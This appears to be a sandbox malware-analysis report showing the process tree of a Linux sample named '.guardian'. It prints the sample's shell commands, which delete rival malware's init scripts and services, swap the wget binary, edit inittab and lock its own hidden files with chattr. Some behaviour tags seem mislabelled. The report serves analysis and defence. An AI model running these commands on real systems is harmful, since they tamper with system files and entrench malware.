                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1527
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1528
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1529
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1530
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1531
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1533
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              .guardian vps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies Watchdog functionality
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Enumerates active TCP sockets
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies rc script
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies systemd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads system network configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to shm directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:993
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:994
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:995
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:997
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:998
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:999
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1001
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1002
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1003
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1005
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1006
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1007
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1111
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1113
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1114
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1115
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1117
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1118
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1119
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1120
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1121
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1122
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1123
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1125
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1126
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1207
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1209
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1210
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1211
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1213
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1214
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1215
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1217
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1218
